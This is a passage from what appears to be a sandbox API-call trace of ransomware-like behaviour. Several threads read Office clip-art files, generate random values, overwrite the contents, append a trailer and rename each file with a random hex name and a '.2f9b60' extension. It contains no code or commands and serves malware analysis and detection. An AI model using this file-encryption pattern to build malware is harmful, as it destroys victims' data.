Seed=0x36f3f570) returned 0x38d76591 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x5c5cdf9c [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x53ca25cd [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x75769c5a [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x6cd40b65 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x436b7632 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0xc75cc03 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x5721e174 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x3f40891 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x1e8782ee [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x258d8ce6 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x79037916 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x332a5270 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x33653e40 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x7a7f5d79 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x17846bf [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x6786e3e0 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x66f160af [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x9488737 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x709c900f [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x839ff57 [0211.748] ReadFile (in: hFile=0x7f0, lpBuffer=0x421d2140, nNumberOfBytesToRead=0x704, lpNumberOfBytesRead=0x36f3f570, lpOverlapped=0x0 | out: lpBuffer=0x421d2140*, lpNumberOfBytesRead=0x36f3f570*=0x704, lpOverlapped=0x0) returned 1 [0211.749] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.749] WriteFile (in: hFile=0x7f0, lpBuffer=0x421d9960*, nNumberOfBytesToWrite=0x704, lpNumberOfBytesWritten=0x36f3f574, lpOverlapped=0x0 | out: lpBuffer=0x421d9960*, lpNumberOfBytesWritten=0x36f3f574*=0x704, lpOverlapped=0x0) returned 1 [0215.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3920 [0215.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1610 [0215.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1610) returned 1 [0215.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d9960) returned 1 [0215.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d2140) returned 1 [0215.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb5e0) returned 1 [0215.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581a0) returned 1 [0215.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1610 [0215.550] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.550] WriteFile (in: hFile=0x7f0, lpBuffer=0x431f2580*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36f3f690, lpOverlapped=0x0 | out: lpBuffer=0x431f2580*, lpNumberOfBytesWritten=0x36f3f690*=0x10a, lpOverlapped=0x0) returned 1 [0217.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0217.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d960) returned 1 [0217.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0217.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9b0 [0217.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9b0) returned 1 [0217.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.985] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="92") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="d9") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="6e") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="35") returned 2 [0217.985] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="c7") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="bc") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="02") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="32") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="76") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="56") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="93") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="d9") returned 2 [0217.986] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="c9") returned 2 [0217.986] RtlInitAnsiString (in: DestinationString=0x36f3f708, SourceString="7ca592d96e1ab235ecc75b3abc0232765693b15bf3cad9c9" | out: DestinationString="7ca592d96e1ab235ecc75b3abc0232765693b15bf3cad9c9") [0217.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x36f3f6d8, SourceString="7ca592d96e1ab235ecc75b3abc0232765693b15bf3cad9c9", AllocateDestinationString=1 | out: DestinationString="7ca592d96e1ab235ecc75b3abc0232765693b15bf3cad9c9") returned 0x0 [0217.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f590 [0217.986] wcscat (in: _Dest=0x1b7a5860, _Source="7ca592d96e1a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a" [0217.987] wcscat (in: _Dest=0x1b7a5860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a.2f9b60" [0217.987] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a.2f9b60", NtPathName=0x36f3f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7ca592d96e1a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff0e0 Thread: id = 3574 os_tid = 0x1adc [0210.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf")) returned 0x20 [0210.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF", dwFileAttributes=0x20) returned 1 [0210.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0211.038] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x3690fae0 | out: lpFileSize=0x3690fae0*=2044) returned 1 [0211.038] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x7f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.038] ReadFile (in: hFile=0xe34, lpBuffer=0x3690fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3690faa8, lpOverlapped=0x0 | out: lpBuffer=0x3690fa60*, lpNumberOfBytesRead=0x3690faa8*=0x4, lpOverlapped=0x0) returned 1 [0211.749] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0211.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0211.750] NtQuerySystemTime (in: CurrentTime=0x3690f9a0 | out: CurrentTime=0x3690f9a0*=132462178166134000) returned 0x0 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x5e7ef7ec [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x33653e40 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x360bdef6 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x5c398dbb [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x2ba6e92c [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x314314eb [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x25b89868 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x62e19f3c [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x2bd161f6 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x27264a19 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x3609f8c9 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x57127c3a [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x6f64f545 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0xbd7dc44 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x340d31f9 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x2f50b355 [0211.750] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x3fcb25af [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x91fc86f [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x1dd62548 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x60591ef2 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x6b340700 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x6c53f388 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x49bd8a7f [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x51ffac56 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x3e745257 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x7ab239d5 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x582483ea [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x62e19f3c [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x5b467b47 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x499136c6 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x258d8ce6 [0211.751] RtlRandomEx (in: Seed=0x3690f990 | out: Seed=0x3690f990) returned 0x41dc806f [0211.761] ReadFile (in: hFile=0xe34, lpBuffer=0x421f01c0, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x3690f990, lpOverlapped=0x0 | out: lpBuffer=0x421f01c0*, lpNumberOfBytesRead=0x3690f990*=0x7fc, lpOverlapped=0x0) returned 1 [0211.761] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.761] WriteFile (in: hFile=0xe34, lpBuffer=0x421d5d50*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x3690f994, lpOverlapped=0x0 | out: lpBuffer=0x421d5d50*, lpNumberOfBytesWritten=0x3690f994*=0x7fc, lpOverlapped=0x0) returned 1 [0215.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13d0 [0215.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1490 [0215.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1490) returned 1 [0215.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0215.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f01c0) returned 1 [0215.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba1e0) returned 1 [0215.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ec0) returned 1 [0215.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1490 [0215.554] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.554] WriteFile (in: hFile=0xe34, lpBuffer=0x42c155f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3690fab0, lpOverlapped=0x0 | out: lpBuffer=0x42c155f0*, lpNumberOfBytesWritten=0x3690fab0*=0x10a, lpOverlapped=0x0) returned 1 [0217.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea70 [0217.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ea70) returned 1 [0217.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea70 [0217.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d930 [0217.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d930) returned 1 [0217.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.991] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="56") returned 2 [0217.991] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.991] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="ff") returned 2 [0217.991] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="05") returned 2 [0217.991] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="da") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="39") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="51") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="9f") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="54") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="9d") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="84") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="ea") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="da") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="f1") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="f8") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="17") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="72") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="96") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="31") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.992] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="06") returned 2 [0217.992] RtlInitAnsiString (in: DestinationString=0x3690fb28, SourceString="56b1ff05da3951b1d89f549d84eadaf1f817729631f23a06" | out: DestinationString="56b1ff05da3951b1d89f549d84eadaf1f817729631f23a06") [0217.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x3690faf8, SourceString="56b1ff05da3951b1d89f549d84eadaf1f817729631f23a06", AllocateDestinationString=1 | out: DestinationString="56b1ff05da3951b1d89f549d84eadaf1f817729631f23a06") returned 0x0 [0217.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f440 [0217.993] wcscat (in: _Dest=0x202ac0b0, _Source="56b1ff05da39" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39" [0217.993] wcscat (in: _Dest=0x202ac0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39.2f9b60" [0217.993] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39.2f9b60", NtPathName=0x3690fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\56b1ff05da39.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff1b0 Thread: id = 3575 os_tid = 0xc34 [0210.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf")) returned 0x20 [0210.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF", dwFileAttributes=0x20) returned 1 [0210.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1540 [0211.040] GetFileSizeEx (in: hFile=0x1540, lpFileSize=0x3719fac0 | out: lpFileSize=0x3719fac0*=1700) returned 1 [0211.040] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x6a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.040] ReadFile (in: hFile=0x1540, lpBuffer=0x3719fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3719fa88, lpOverlapped=0x0 | out: lpBuffer=0x3719fa40*, lpNumberOfBytesRead=0x3719fa88*=0x4, lpOverlapped=0x0) returned 1 [0211.683] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0211.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0211.684] NtQuerySystemTime (in: CurrentTime=0x3719f980 | out: CurrentTime=0x3719f980*=132462178165510000) returned 0x0 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x4d97f159 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x242d0bbe [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x5a7635b6 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x399063ee [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x363f1283 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x56f5c90 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x41e096de [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x5bae6064 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x1e1b64a9 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x5e5f089c [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x5d88ccdc [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x193f16e1 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x1aab6a2c [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x16bec09d [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x6ef4f8ec [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x1bd2359d [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x6dc35c0d [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x2cb4f923 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x23b038eb [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x7052b11a [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x17c9403d [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x74aea557 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x665b1d3e [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x36fb6bad [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x7268133e [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x35ff507c [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x6054a23e [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x566bbb57 [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x2a1de70d [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x4338e3ec [0211.685] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x17f753b5 [0211.686] RtlRandomEx (in: Seed=0x3719f970 | out: Seed=0x3719f970) returned 0x2a84b399 [0211.696] ReadFile (in: hFile=0x1540, lpBuffer=0x42dac580, nNumberOfBytesToRead=0x6a4, lpNumberOfBytesRead=0x3719f970, lpOverlapped=0x0 | out: lpBuffer=0x42dac580*, lpNumberOfBytesRead=0x3719f970*=0x6a4, lpOverlapped=0x0) returned 1 [0211.696] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.696] WriteFile (in: hFile=0x1540, lpBuffer=0x42d8e500*, nNumberOfBytesToWrite=0x6a4, lpNumberOfBytesWritten=0x3719f974, lpOverlapped=0x0 | out: lpBuffer=0x42d8e500*, lpNumberOfBytesWritten=0x3719f974*=0x6a4, lpOverlapped=0x0) returned 1 [0215.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0215.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac43d0 